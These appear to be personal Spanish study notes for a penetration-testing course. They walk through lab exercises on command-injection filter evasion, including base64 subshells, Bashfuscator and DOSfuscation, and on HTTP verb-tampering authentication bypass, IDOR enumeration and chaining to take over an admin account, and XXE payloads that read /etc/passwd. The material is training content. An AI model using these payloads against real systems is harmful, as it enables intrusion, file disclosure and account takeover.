Podemos crear un comando que decodifique la cadena usando una subshell con $()
bash<<<$(base64 -d<<<BASE64)
![[Pasted image 20260723153544.png]]
Estamos usando <<< ya que | es un caracter filtrado
![[Pasted image 20260723153630.png]]
Si hay comandos como bash que esta filtrado podemos usar tecnicas como la seccion anterior de uso de ’ o “ entre otras cosas
Tambien podemos usar alternativas a bash como sh, openssl para la decodificacion en BASE64 o xxd para la decodificacion en HEXADECIMAL
Codificamos el comando:
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('COMANDO'))
![[Pasted image 20260723153919.png]]
o si queremos hacerlo desde Linux para Windows la convertimos en utf-16:
echo -n COMANDO | iconv -f utf-8 -t utf-16le | base64
![[Pasted image 20260723154010.png]]
Decodificamos la cadena usando una subshell con iex $()
iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('BASE64')))"
![[Pasted image 20260723154038.png]]
Mas tecnicas: PayloadsAllTheThings
Ejemplo practico
Encuentra la salida del sisguiente comando: find /usr/share/ | grep root | grep mysql | tail -n 1
- Pasamos el comando a base64 para ofuscarlo
![[Pasted image 20260723154249.png]]
- Usamos el payload para crear una subshell que decodifique el base64 y se lo pase a la bash y se ejecute
127.0.0.1%0a${IFS}bash<<<$(base64%09-d<<<BASE64)
![[Pasted image 20260723154422.png]]
CPTS
3. Explotacion WEB / 9. Command Injection / 3. Evasion De Filtros
6. Herramientas De Evasion
Es posible que nos encontremos con herramientas de seguridad muy avanzadas por lo que podemos usar herramientas automatizadas que nos ayuden
Linux –> Bashfuscator
- Instalacion
git clone https://github.com/Bashfuscator/Bashfuscator
cd Bashfuscator
pip3 install setuptools==65
python3 setup.py install --user
- Uso
cd ~/HTB_Academy/Tools/Bashfuscator
source .venv/bin/activate
bashfuscator --help
deactivate
![[Pasted image 20260723154838.png]]
- Pasamos el comando a ofuscar
./bashfuscator -c 'COMANDO'
![[Pasted image 20260723154911.png]]
El problema esta en que si la usamos asi, la herramienta elige la tecnica de ofuscacion lo que puede dar lugar a unos cientos de caracteres o mas de un millon
- Usamos flags para que produzca un comando mas corto y simple
./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1
![[Pasted image 20260723155056.png]]
- Lo probamos en nuestra bash
bash -c 'COMANDO_OFUSCADO'
![[Pasted image 20260723155126.png]]
Windows (DOSfuscation)
DOSfuscation: esta es una herramienta interactiva
- Instalacion:
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
- Uso
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation
Invoke-DOSfuscation> help
![[Pasted image 20260723155411.png]]
- Creacion de comandos ofuscados
SET COMMAND COMANDO
encoding
1
![[Pasted image 20260723155456.png]]
- Lo tratamos de ejecutar en el CMD
![[Pasted image 20260723155514.png]]
CPTS
3. Explotacion WEB / 9. Command Injection / 4. Skill Assessment
1. Skill Assessment
Nos encontramos con una aplicacion de gestion de archivos. Estos suelen ejecutar comandos en el host
Usa diversas tecnicas para detectar la vulnerabilidad de inyeccion de comandos y luego explotarla
Cual es el contenido de /flag.txt
CREDENCIALES: guest:guest
- Visitamos el sitio web y vamos probando cosas hasta que vemos que hay una ejecucion de comandos en el host
![[Pasted image 20260723163653.png]]![[Pasted image 20260723163715.png]]
- Al darle a copy to y luego a move vemos que sale un mensaje de error de mv asi que ahi lo tenemos
![[Pasted image 20260723172216.png]]
![[Pasted image 20260723172227.png]]
- Capturamos una solicitud de mv y la mandamos al repeater
![[Pasted image 20260723163737.png]]![[Pasted image 20260723163747.png]]
![[Pasted image 20260723172307.png]]
- Vamos probando ofuscaciones de espacios le gusta \n, %09 e IFS
![[Pasted image 20260723172338.png]]
![[Pasted image 20260723172349.png]]![[Pasted image 20260723172429.png]]
- Usamos el comando ls a secas pero parece que no le gusta
![[Pasted image 20260723172512.png]]
- Intentamos alguna ofuscacion de comandos simple y vemos que se ejecuta. Con esto obtenemos la flag eludiendo filtros de espacios, caracteres como / y comandos
%0a${IFS}l\s
![[Pasted image 20260723172529.png]]
%0a${IFS}l\s%09${PATH:0:1}
![[Pasted image 20260723172709.png]]
%0a${IFS}l\s%09${PATH:0:1}flag.txt
![[Pasted image 20260723172646.png]]
CPTS
3. Explotacion WEB / 10. Webapps / 1. Introduccion
1. Introduccion A Webapps Attacks
Es posible que las empresas usen aplicaciones web externas, internas o usen APIs externas que son vulnerables
Se cubriran otros 3 tipos de ataque web de los ya enseñados
Manipulacion de Verbos HTTP o HTTP Verb Tampering
Explota webservers que aceptan muchos verbos y metodos HTTP
Se pueden enviar muchas solicitudes maliciosas con metodos HTTP inesperados lo que puede llevar a eludir el mecanismo de autorizacion de la aplicacion o sus controles de seguridad
Referencias inseguras a objetos directoros o Insecure Direct Object References (IDOR)
Puede llevar a acceder a datos que no deberian ser accesibles para los atacantes. Se debe a la baja solidez de mecanismos de control de acceso al backend
A medida que la aplicacion web almacena archivos e informacion de los usuarios, estos pueden usar numeros de indetificacion (ID) para identificar cada elemento
Si la aplicacion carece de un mecanismo de control robusto podemos acceder a archvios y recursos de otros usuarios adivinando o calculando estos IDs
Inyeccion de Entidades Externas XML o XML External Entity Inyection (XXE)
Muchas aplicaciones web procesan datos en XML como parte de su funcionalidad. Si la aplicacion web usa librerias XML desactualizadas para analizar y procesar los datos de entrada XML del usuario en el frontend, podriamos enviar datos XML maliciosos para divulgar archivos locales almacenados en el servidor backend
Pueden ser archvios de configuracion con contenido sensible o incluso codigo fuente
Se pueden usar para robar credenciales del servidor de alojamiento
CPTS
3. Explotacion WEB / 10. Webapps / 2. Manipulacion De Verbos HTTP
1. Introduccion A HTTP Verb Tampering
El protocolo HTTP acepta en las solicitudes varios tipos de metodos HTTP como verbos al principio de las solicitudes
Dependiendo de la configuracion de la aplicacion web, esta puede aceptar ciertos metodos para diversas funcionalidades
Los programadores suelen considerar sobre todo GET y POST. Podemos enviar cualquier otro metodo y ver como reacciona
Ejemplo:
-
Imaginemos que el backend esta configurado para aceptar GET y POST, y nosotros mandamos otro metodo, nos saldra una pagina de error
-
Pero si el backend no esta bien configurado para solo aceptar GET y POST, y no se desarrolla para manejar otros metodos como HEAD, PUT…, entonces podemos explotar esta configuracion insegura para obtener acceso a funcionalidades que no teniamos acceso u omitir ciertos controles
Manipulacion de verbos HTTP
HTTP tiene 9 verbos diferentes 7 + GET y POST
![[Pasted image 20260723212448.png]]
Configuraciones inseguras
En el siguiente ejemplo vemos como la autenticacion se limita a los metodos GET y POST. Pero podemos usar otro como HEAD para eludir la autenticacion. Esto se debe a que deja a los otros metodos HTTP accesibles sin autenticacion
![[Pasted image 20260723212649.png]]
Codificacion insegura
Ocurre cuando un desarrollador web aplica filtros especificos para mitigar vulns particulares sin cubrir todos los metodos HTTP para ese filtro
Ejemplo: encontramos una aplicacion web vulnerable a SQLi. El desarrollador implementa el siguiente codigo para mitigarlo:
![[Pasted image 20260723213013.png]]
El filtro de saneamiento sirve para GET en el que se mira que las peticiones GET no tengan ningun caracter malicioso pero cuando se ejecuta la consulta se usa REQUEST que puede estar tambien en POST
Si se envia un POST, los parametros GET estarian vacios, pasarian la validacion y se ejecutaria el REQUEST
CPTS
3. Explotacion WEB / 10. Webapps / 2. Manipulacion De Verbos HTTP
2. Bypassing Autenticacion Basica (configuracion Insegura)
Tenemos que probar metodos HTTP alternativos para ver como los maneja el webserver y la aplicacion
Muchas herramientas miran bastante bien las configuraciones inseguras pero pasan por alto las codificaciones inseguras. Esto se debe a que el primero se puede identificar facilmente al omitir la pagina de autenticacion y el segundo necesita de pruebas activas para ver si podemos eludir los filtros de seguridad
Identificar
Vemos una aplicacion web basica de administrador de archivos en la que podemos añadir nuevos archivos escribiendo sus nombres y pulsando enter:
![[Pasted image 20260723220033.png]]
Si le damos a Reset se borraran todos los archivos, pero esta funcionalidad esta restringida para usuarios autenticados con una Autenticacion basica HTTP:
![[Pasted image 20260723220124.png]]
Como no sabemos las credenciales nos dara un 401:
![[Pasted image 20260723220143.png]]
Vamos a caturar la solicitud HTTP al darle a Reset. Vemos que esta llamando a /admin/reset.php con un GET
Esto quiere decir o que /admin esta restringido o que /admin/reset.php esta restringido
Si visitamos /admin vemos que efectivamente todo el directorio esta restringido
Explotar
![[Pasted image 20260723220422.png]]
Vemos que la solicitud es un GET, podemos tratar de enviar un POST y ver si la pagina web incluye la autenticacion para metodos POST
Click derecho > Change Request Method y se cambia a POST:
![[Pasted image 20260723220526.png]]
Podemos darle a forward y examinar si hemos eludido el inicio de sesion. Obtendremos la pagina 401 por lo que no habra funcionado:
![[Pasted image 20260723220629.png]]
Esto indica que las configuraciones cubren tanto GET como POST. Pero podemos usar otros muchos metodos como HEAD (que es identico a GET pero no devuelve el cuerpo)
Para ver si la pagina web permite solicitudes HEAD podemos mandar una solicitud con el metodo OPTIONS y vemos que si lo permite:
![[Pasted image 20260723220757.png]]
Volvemos a capturar la solicitud HTTP del Reset de nuevo y en vez de POST al cambiar el metodo, pondremos HEAD para ver como lo maneja el servidor web:
![[Pasted image 20260723220910.png]]
Habremos bypasseado la autenticacion porque no nos pone un 401 y se han borrado los archivos:
![[Pasted image 20260723221025.png]]
Ejemplo practico
Trata de entrar en reset.php para borrar los archivos y ver la flag
- Visitamos la pagina web y con el burp activado le damos a reset. La solicitud que obtenemos la mandamos al repeater
![[Pasted image 20260723221147.png]]![[Pasted image 20260723221207.png]]
- Si le damos a forward veremos el panel de autenticacion basica
![[Pasted image 20260723221236.png]]
- En el repeater empezamos mandando el GET y nos dice 401
![[Pasted image 20260723222044.png]]
- Cambiamos el request method a POST y nada 401, lo mismo con HEAD
![[Pasted image 20260723221252.png]]![[Pasted image 20260723222059.png]]
![[Pasted image 20260723222114.png]]
- Al usar OPTIONS para ver que metodos nos dejaba obtuvimos un 200 OK por lo que lo abremos eludido (aunque no nos aparece los Allow). Si probamos con PUT o PATCH tambien da 200 OK
![[Pasted image 20260723222212.png]]
![[Pasted image 20260723222131.png]]
![[Pasted image 20260723222145.png]]
- Si volvemos a la pagina principal veremos como ha funcionado bypasseando la autenticacion basica y obtendremos la flag
![[Pasted image 20260723222230.png]]
CPTS
3. Explotacion WEB / 10. Webapps / 2. Manipulacion De Verbos HTTP
3. Bypassing Filtros De Seguridad (codificacion Insegura)
Son errores durante el desarrollo que hace que no se cubran todos los metodos HTTP en ciertas funcionalidades. Se detecta comunmente en los filtros de seguridad que detectan solicitudes maliciosas
Ejemplo: si el filtro de codigo que detecta inyeccion de comandos solo verifica las solicitudes POST ($_POST[‘parametro’]), podriamos evadirlo usando una solicitud GET
Identificar
En la aplicacion de Gestor de archivos intentamos crear un archivo test; y obtenemos malicious Reuqest Denied!:
![[Pasted image 20260723223159.png]]
Esto se debe a verificaciones de vulns SQLi en el backend y no importa que y como lo intentemos que lo deniega
Podemos usar la manipulacion de verbos HTTP para ver si podemos evadir el filtro de seguridad
Explotar
Interceptamos la solicitud HTTP al intentar crear test; con Burp y le damos Change Request Method
![[Pasted image 20260723223441.png]]
Le damos a Forward y vemos que ya se ha subido con exito:
![[Pasted image 20260723223505.png]]
Para verificar que hemos eludido la seguridad volvemos a interceptar la solicitud HTTP y ponemos el siguiente nombre al archivo: file1; touch file2; y cambiamos el metodo
![[Pasted image 20260723223628.png]]![[Pasted image 20260723223637.png]]
Vemos como se han creado ambos
![[Pasted image 20260723223703.png]]
Ejemplo practico
Trata de poner el nombre al archivo file; cp /flag.txt ./ para obtener la flag
- Visitamos la pagina web y tratamos de poner ese nombre al archivo para obtener la flag. El burp debe estar activo para interceptar la solicitud HTTP
![[Pasted image 20260723223820.png]]
- Lo mandamos al repeater
![[Pasted image 20260723223837.png]]
- Si lo mandamos asi con el GET nos dara Malicious Request Denied! (la flag que sale es la de la seccion anterior que estaba ya en la pagina web)
![[Pasted image 20260723223858.png]]
- Cambiamos el metodo y se pone como POST. Si le damos a enviar vemos que ahora no da error
![[Pasted image 20260723223910.png]]![[Pasted image 20260723223935.png]]
- Vamos a la pagina web y recargamos, veremos flag.txt. Si la visitamos veremos la flag
![[Pasted image 20260723223950.png]]![[Pasted image 20260723224002.png]]
CPTS
3. Explotacion WEB / 10. Webapps / 3. Idor O Referencias A Objetos Directos Inseguros
1. Introduccion A Idor
Sucede cuando una aplicacion web expone una refencia directa a un objeto como un archivo, recurso de BBDD o ID
Si cualquier usuario puede acceder a contenido de otros objetos debido a falta de controles de acceso se considera vulnerable
Ejemplo: el usuario solicita acceso a uno de sus archivos recientemente subido y obtiene una URL asi download.php?file=123. El enlace hace referencia al file = 123, ¿que pasaria si tratamos de poner download.php?file=124?
Si la aplicacion web nos muestra el archvio con ID 124 es vulnerable. Hay casos en los que el ID es facil de adivinar y casos en los que no
Que constituye una vulnerabilidad IDOR
El simple hecho de exponer una referencia directa a un objeto o recurso no es la vulnerabilidad, sino el bajo control de acceso a estos en el backend
La mayoria de desarrolladores ignoran la construccion de un sistema de control de acceso y lo unico que impediria acceder a los recursos de otros usuarios serian las restricciones del frontend
Impacto
El ejemplo más básico de una vulnerabilidad IDOR es acceder a archivos y recursos privados de otros usuarios que no deberían ser accesibles para nosotros
Dependiendo de la naturaleza de la referencia directa expuesta, la vulnerabilidad puede incluso permitir la modificación o eliminación de los datos de otros usuarios, lo que puede llevar a una toma de control completa de la cuenta
Una vez se identifica el patron del ID del objeto se pueden probar patrones especificos para ver si puede obtener acceso a algun dato
También pueden llevar a la elevación de privilegios de un usuario estándar a un usuario administrador
CPTS
3. Explotacion WEB / 10. Webapps / 3. Idor O Referencias A Objetos Directos Inseguros
2. Identificacion De Idors
Parametros de URL y API
Primero hay que identificar las referencias a objetos
Cada vez que recibimos un archivo o recurso debemos estudiar las peticiones HTTP para buscar parametros URL o API con referencia a ese objeto:
?uid=1 o ?filename=file_1.pdf
Estos son ejemplo basicos que podrian ser IDORs si al poner un 2 hicieramos referencia a otro objeto y se nos mostrase: ?uid=2 o ?filename=file_2.pdf
Llamadas AJAX (llamadas de JS)
Es posible que podamos identificar parametros o llamadas AJAX en el codigo frontend
Algunas aplicaciones web pueden colocar estas llamadas de JS a funciones en el frontend de forma insegura
Ejemplo: imaginemos que como usuarios default no tenemos algunas funciones habilitadas pero investigando el codigo JS del frontend vemos llamadas AJAX hacia endpoints o APIs especificas que contienen referencias a objetos admin. Si identificamos estas referencias podemos probarlas en busca de IDORs
![[Pasted image 20260724154039.png]]
Esta funcion verifica que seamos admin y es posible que nunca se llame si no somos admins. Pero si la localizamos en el front podemos probarla de diferentes maneras para ver si podemos vulnerarla
Se puede hacer lo mismo con el codigo bakcend si tuviesemos acceso a el
Entender el hashing/codificacion
Algunas aplicaciones pueden no usar numeros secuenciales para referenciar los objetos sino que pueden codificar la referencia o aplicarle un hash
Supongamos la siguiente referencia: ?filename=ZmlsZV8xMjMucGRm esto es un BASE64 que podemos decodificar y ver que la referencial original es ?file_123.pdf
O puede ser una hash como: ?filename=c81e728d9d4c2f636f067f89cc14862c
Si miramos el codigo fuente podemos ver que se esta hasheando antes de que se haga la llamda a API y que se usa CryptoJS.MD5:
![[Pasted image 20260724163609.png]]
Comparar roles de usuario
Si queremos realizar ataques IDOR mas avanzados, es posible que necesitemos registrar multiples usuarios y comparar sus peticiones HTTP y referencias a objetos
Esto nos puede permitir entender como se calculan los parametros URL y los identificadores unicos
Ejemplo de codigo backend en el que se hace una llamada a API para que el usuario vea su salario:
![[Pasted image 20260724163852.png]]
En este caso tenemos dos parametros Name e Id. Podemos tratar de repetir la llamada a API desde un segundo usuario creado User2 para ver si nos devuelve algo
CPTS
3. Explotacion WEB / 10. Webapps / 3. Idor O Referencias A Objetos Directos Inseguros
3. Enumeracion Masiva De Idor
Una vez que identifiquemos un IDOR potencial podemos empezar a probarlo con tecnicas basicas
Para ataques avanzados necesitaremos entender mejor como funciona la aplicacion web, como calcula las referencias y como funciona su sistema de control de acceso
Parametros inseguros
Tenemos una aplicacion de Adminsitracion de Empleados que aloja los registros de los empleados:
![[Pasted image 20260724164229.png]]
La aplicacion asume que hemos iniciado sesion como usuario1 con uid=1. Una vez hacemos click en Documents nos redigira a /documents.php
![[Pasted image 20260724164337.png]]
Aqui veremos varios doucmentos de nuestro usuario que pueden ser subidos por nuestro usuario o por el departamento de RRHH. Al revisar los enlaces vemos los siguientes nombres:
![[Pasted image 20260724164445.png]]
Se puede apreciar una nomenglatura predecible ya que los archivos parecen estar usando el Invoice/Report +uid del usuario + mes_año
Podemos ver que la pagina esta estrableciendo nuestro uid con un parametro GET en la URL documents.php?uid=1. Si la pagina web usa el uid como referencia de objetos, podriamos ver recursos de otros usuarios cambiando este uid
Si la aplicacion web tiene un sistema de control de acceso nos dira Acceso Denegado, sino podremos entrar
![[Pasted image 20260724164820.png]]
![[Pasted image 20260724164837.png]]
Enumeracion masiva
Podemos usar Burp o ZAP para realizar un fuzzing del parametro probando uid=3,4,5…
Ejemplo practico
Repite lo que has aprendido para tener una lista de documentos de los 20 primeros users en /documents.php. Uno debe tener la flag.txt
- Visitamos la pagina web y capturamos el POST al visitar /documents.php que contiene un parametro uid en su data. Lo mandamos al Intruder
![[Pasted image 20260724165553.png]]![[Pasted image 20260724170941.png]]
- Cremos una wordlist de 20 numeros para cambiar en el uid. Ademas ponemos que una grep match a las respuestas que contengan flag o HTB
![[Pasted image 20260724170121.png]]![[Pasted image 20260724171006.png]]
![[Pasted image 20260724171312.png]]
- Al iniciar el ataque vemos que el uid 15tiene en su respuesta la palabra flag
![[Pasted image 20260724171343.png]]
- Para leerlo, volvemos a capturar el POST y ponemos 15 en el uid. Tras esto le damos a Forward
![[Pasted image 20260724171845.png]]![[Pasted image 20260724171855.png]]
- Ahora estaremos viendo los documentos del usuario uid 15. Leemos la flag
![[Pasted image 20260724172044.png]]
![[Pasted image 20260724172106.png]]
Otra opcion es usar curl con el enlace encontrado en la respuesta de Burp
![[Pasted image 20260724172127.png]]
CPTS
3. Explotacion WEB / 10. Webapps / 3. Idor O Referencias A Objetos Directos Inseguros
4. Bypassing Referencias Codificadas
En el mismo ejemplo de Employee Manager pero ahora vamos a Contracts:
![[Pasted image 20260724172541.png]]
Al capturar la solicitud vemos un parametro contract=CODIFICACION enviado a /download.php
![[Pasted image 20260724172607.png]]
La codificacion parece un MD5. Intentamos ver si se trata de un 1 como el uid pero los hashes no coinciden:
![[Pasted image 20260724172719.png]]
Divulgacion de funcion
Muchas aplicaciones estan desarrolladas con Angular, React… para JS y es posible que el hash se calcule en el frontend
Si miramos el front veremos una funcion a la que se llama: javascript:downloadContract('1'). Al observar la funcion vemos lo siguiente:
![[Pasted image 20260724173218.png]]
Esta parace enviar un POST con el parametro contract que es un MD5 del base64 de uid y viendo la llamada a la funcion javascript:downloadContract('1') suponemos que es 1
![[Pasted image 20260724173341.png]]
Enumeracion masiva
Creamos un wordlist de los 10 primeros numeros:
![[Pasted image 20260724173429.png]]
Y podemos usar Burp
Ejemplo practico
Trata de descargar contracts de los primeros 20 empleados y uno deberia contener la flag
- Miramos la peticion al entrar en contracts pero no sale ningun parametro que podamos hacer IDOR
![[Pasted image 20260724173649.png]]![[Pasted image 20260724173713.png]]
- Al darle al PDF sale el parametro GET contract que al decodificarlo vimos que era URL+BASE64
![[Pasted image 20260724173723.png]]![[Pasted image 20260724173734.png]]![[Pasted image 20260724173810.png]]
Tambien lo pudimos mirar en el codigo fuente. En contramos en el <li> una referencia hacia una funcion JS. Al buscarla en el Inspect vimso que efectivamente era un URL+BASE64
![[Pasted image 20260724173831.png]]
![[Pasted image 20260724173902.png]]![[Pasted image 20260724173920.png]]
- Lo mandamos al Intruder, podemos la wordlist de 20 numeros, añadimos al payload processing que se codifique primero en BASE64 y luego URL todos los caracteres y filtramos la salida por los que den respuesta flag o HTB
![[Pasted image 20260724174123.png]]![[Pasted image 20260724174213.png]]![[Pasted image 20260724174235.png]]
- Encontramos una respuesta con flag o HTB y ahi estaba
![[Pasted image 20260724174309.png]]
CPTS
3. Explotacion WEB / 10. Webapps / 3. Idor O Referencias A Objetos Directos Inseguros
5. Idor En Apis Inseguras
Hasta ahora hemos usado IDOR para acceder a archivos y recursos fuera del acceso de nuestro usuario
Tambien se pueden hacer en llamadas a funciones API y nos permitiran realizar diversas acciones
- Vulnerabilidades de Divulgación de Información por IDOR –> nos permiten leer varios tipos de recursos
- Llamadas a Funciones Inseguras por IDOR –> nos permiten llamar a APIs o ejecutar funciones como otro usuario
Estas funciones o APIs se pueden usar para cambiar informacion de usuario, restablecer credenciales o comprar articulos usando la informacion de pago de otro usuario
Identificando APIs inseguras
En la aplicacion web de Employee Manager, vamos a probar con Edit Profile:
![[Pasted image 20260724180707.png]]
Aqui podemos modificar nuestro nombre, email y el about me, y tras esto actualizar el profile:
![[Pasted image 20260724180742.png]]
Al darle a Update profile y capturar la solicitud HTTP vemos como se esta enviando una peticion PUT al endpoint de la API /profile/api.php/profile/1
![[Pasted image 20260724180904.png]]
Lo que nos interesan son los parametros JSON que envia:
![[Pasted image 20260724180937.png]]
Vemos varios importantes como: uid, uuid y role. Parece que la aplicacion web nos da el role en la cookie y se inserta luego en los parametros JSON que se envian, por lo que nos lo esta asignando en el frontend
Asi que o la aplicacion tiene un buen control de acceso o sera vulnerable
Explotando APIs inseguras
Full name, email y about son parametros que podemos cambiar ya que estan bajo nuestro control en el HTML de la pagina web
Cosas que podriamos intentar:
- Cmabiar el uid para encontrar mas cuentas
- Cambiar detalles de otro usuario
- Crear nuevos usuarios con detalles arbitrarios o eliminar existentes
- Cambiar nuestro rol a admin para poder realizar mas acciones
- Vamos a cambiar nuestro uid primero, pero nos pone mismatch:
![[Pasted image 20260724181411.png]]
Parece que la aplicacion comapra el uid con el numero de la llamada a API (/1) por lo que tendremos que cambiar ambos:
![[Pasted image 20260724181506.png]]
Ahora pone uuid mismatch. Parece que la aplicacion compara el uuid que enviamos con el del usuario
- Como no sabemos como se compone realmente el uuid vamos a tratar de crear un nuevo usuario, usando POST y con un nuevo uid 50, vemos que dice que es una accion solo para admins:
![[Pasted image 20260724181655.png]]
DELETE tampoco funciona
- La aplicacion seguramente este verificando el role. Vamos a cambiarlo por admin o administrator para nuestro uid 1 pero vemos que pone role invalido:
![[Pasted image 20260724181934.png]]
¿Es segura?
Hasta ahora no ha funcionado nada pero no significa que sea segura.
Solo hemos probado Llamadas a Funciones Inseguras por IDOR pero no hemos probado la peticion GET de la API en busca de Divulgación de Información por IDOR
Si el control de acceso no es robusto podriamos leer informacion de otros usuario usando Divulgación de Información por IDOR en el GET
Intenta probar la API en busca de vulnerabilidades de divulgación de información por IDOR intentando obtener los detalles de otros usuarios con peticiones GET
Ejemplo practico
Intenta leer los detalles del usuario con uid=5, cual es su valor uuid
-
Mandamos los datos cambiados de nuestro perfil y capturamos la solicitud HTTP con Burp. Vemos que es un PUT que actualizara nuestros campos y la mandamos al repeater
![[Pasted image 20260724205052.png]]
![[Pasted image 20260724205110.png]]
-
Probamos a cambiar la info del usuario 2 pero nos dice que uuid mismatch. Si probamos con GET vemos que obtenemos los campos del usuario 2 y con si cambiamos al 5 veremos el uuid del 5
![[Pasted image 20260724205510.png]]
![[Pasted image 20260724205159.png]]![[Pasted image 20260724205215.png]]
Como ejercicio extra intente crear un usuario con uid 500 y role admin usando PUT y aunque pusiera 200 ok al intentar obtener sus datos vemos que no nos devuelve nada
![[Pasted image 20260724205244.png]]![[Pasted image 20260724205303.png]]
CPTS
3. Explotacion WEB / 10. Webapps / 3. Idor O Referencias A Objetos Directos Inseguros
6. Encadenamiento De Vulnerabilidades Idor
Normalmente las solicitudes HTTP GET hacie el endpoint de la API deberian devolver los detalles del usuario solicitado
![[Pasted image 20260724205813.png]]
Como vimos la unica forma de autorizacion en nuestras solicitudes HTTP es por medio del role ya que no hay otra forma de autenticacion como Tokens. Incluso si hubiera un token, el sistema de control del backend deberia comaparar activamente este con los detalles del objeto solicitado
Si enviamos una solicitud GET con otro uid veremos los detalles de ese usuario revelandonos su informacion:
![[Pasted image 20260724210020.png]]![[Pasted image 20260724210044.png]]
Modificacion de los detalles de otro usuario
Una vez conocemos su uuid podemos cambiar nuestra solicitud HTTP PUT con el uid, uuid y role del usuario 2 y cambiar los detalles de fullname, email y about si quisieramos:
![[Pasted image 20260724210154.png]]
No recibimos mensaje de error y si volvemos a hacer un GET al usuario 2 veremos que los datos han cambiado:
![[Pasted image 20260724210223.png]]
Se podria cambiar el email del usuario, pedir un cambio de contraseña y que se envie a nuestro email, colocar un XSS en el campo about que nos de sus cookies cuando entre…
Encadenamiento de 2 vulnerabilidades IDOR
Podemos enumerar los usuarios usando la solicitud HTTP GET para tratar de encontrar el que tenga el role de admin. Esto lo haremos con burp cambiando el uid tanto en el JSON del PUT como en la URL:
![[Pasted image 20260724210841.png]]
Una vez que conocemos el valor del role admin role=web_admin podemos cambiar nuestro propio role a web_admin al actualizar nuestros datos sin recibir el mensaje de invalid role:
![[Pasted image 20260724211042.png]]
![[Pasted image 20260724211126.png]]
Si hacemos un GET a nuestro usuario veremos:
![[Pasted image 20260724211150.png]]
![[Pasted image 20260724211112.png]]
Ejemplo practico
Trata de cambiar el admin email a [email protected] y deberias obtener la flag en la pagina editar profile
- Con la solicitud HTTP GET de antes la mandamos al Intruder (el GET nos permitia ver los datos de otros usuarios)
![[Pasted image 20260724211349.png]]
- Ahi ponemos el puntero tanto en la URL de llamada a API como en el JSON. Ponemos el payload de numeros hasta 20 y ponemos que matchee los resultados con admin, adm o administrator
![[Pasted image 20260724211426.png]]![[Pasted image 20260724211524.png]]
- Encontramos un match y vemos que el role es
staff_admin, ademas vemos el uuid del admin y su uid
![[Pasted image 20260724211555.png]]
- Cambiamos el email del admin desde el Repeater usando el uid 10, el uuid encontrado y el role staff_admin ademas de poner el metodo HTTP PUT, y vemos que no nos da error
![[Pasted image 20260724211752.png]]
![[Pasted image 20260724212031.png]]
- Recargamos la pagina normal donde esta nuestro edit profile y vemos la flag
![[Pasted image 20260724211936.png]]
CPTS
3. Explotacion WEB / 10. Webapps / 4. Xml External Entity Xxe Injection
1. Intro A Xxe
Ocurren cuando losd atos XML se toman de una entrada controlada por el usuario sin sanetizacion o sin un analisis de los datos XML
Pueden causar daños al front y backend
XML
Lenguaje de marcado comun similar al HTML diseñado para la transferencia y almacenamiento flexible de datos y documentos en varios tipos de aplicaciones
Se centra en el almacenamiento y representacion de estructura de datos
Los documentos XML estan formados por arboles de elementos donde cada elemento se denota por un tag y el primer elemento se llama elemento raiz que contendra elementos hijos
![[Pasted image 20260724231759.png]]
En el ejemplo anterior:
![[Pasted image 20260724231815.png]]
XML DTD
Permite la validacion de un documento XML contra una estructura de documento predefinida
Esta estructura puede definirse en el mismo documento o en uno externo
![[Pasted image 20260724232032.png]]
Ejemplo: declara el elemento email y denota sus hijos y tras esto se declaran cada uno de sus hijos
Se puede hacer referencia a este dentro del documento despues de la Declaracion XML como parte de otro archivo externo o como una URL externa::
![[Pasted image 20260724232213.png]]
![[Pasted image 20260724232219.png]]
Entidad XML
Podemos definir entidades personalizadas (son las variables de XML) en los DTD usando ENTITY:
![[Pasted image 20260724232331.png]]
Se puede hacer referencia a la entidad usando &ENTIDAD; y cada vez que hagamos referencia a esta, lo sustituira por su valor
Lo mas interesante es que podemos hacer referencia a ENTITIES externas con la palabra SYSTEM o PUBLIC + ruta entidad
![[Pasted image 20260724232458.png]]
CPTS
3. Explotacion WEB / 10. Webapps / 4. Xml External Entity Xxe Injection
2. Divulgacion De Archivos Locales
Cuando una aplicacion web confia en datos XML sin filtrar provenientes de la entrada de un usuario, es posible que podamos hacer referencia a un documento DTD externo y definir nuevas ENTITIES XML personalizadas
Podriamos crear ENTITIES que hicieran referencia a un archivo local lo que deberia poder enseñarnos su contenido
Identificacion
Primero hay que encontrar una pagina web que acepte una entrada de usuario en formato XML. Empezaremos con la siguiente pagina de Formulario de Contacto:
![[Pasted image 20260724232837.png]]
Si rellenamos este formulario y al enviarlo capturamos la solicitud HTTP veremos que el formulario parece estar enviando nuestros datos en formato XML conviritiendolo en un objetivo para XEE
![[Pasted image 20260724232922.png]]
Vamos a suponer que usa bibliotecas XML desactualizadas y no aplica filtros o sanetizacion de entrada. Podriamos explotar el formulario para leer archivos locales
Primero lo enviamos desde Repeater sin ninguna modificacion:
![[Pasted image 20260724233051.png]]
Estamos viendo como el valor de “email” se devuelve en la respuesta. Entonces email sera el objetivo a vulnerar
Por ahora sabemos que cualquier valor que pongamos en email se mostrara
- Definiremos nuestra ENITITY (en este ejemplo no hay un DOCTYPE que ya haga referencia a un DTD por lo que lo creamos de 0, si existiese solo creamos el ENTITY)
<!DOCTYPE email [ <!ENTITY company "Inlane Freight"> ]>
![[Pasted image 20260724233252.png]]
- Lo introducimos en el XML (como ya sabemos despues de la declaracion XML) y hacemos referencia a el (en la parte de email para que se muestre en la respuesta)
![[Pasted image 20260724233434.png]]
Hay aplicaciones que mandan los archivos en, por ejemplo, JSON pero siguen aceptando XML. Para ello:
- Cambiamos el Content-Type –>
application/xml
- Cambiamos el JSON por XML en –> Herramienta de JSON a XML
Lectura de archivos sensibles
Ahora crearemos una ENTITY usando SYSTEM y definiremos la ruta del archivo a leer
<!DOCTYPE email [ <!ENTITY company SYSTEM "file:///etc/passwd"> ]>
![[Pasted image 20260724233726.png]]
Si lo introducimos en la solicitud veremos en la respuesta el archivo:
![[Pasted image 20260724233746.png]]
Podemos leer incluso los id_rsa
Podemos ver el modulo de LFI para ver que ataques podemos usar con la divulgacion de archivos locales
Lectura del codigo fuente
![[Pasted image 20260724233901.png]]
Vemos que no nos devuelve nada y es debido a que falla al ser referenciado como una entidad XML externa. Si contiene < > &, podria romper la referencia a la entidad y por eso no se muestra
Podemos usar PHP Wrappers y Filters para pasarlo a BASE64
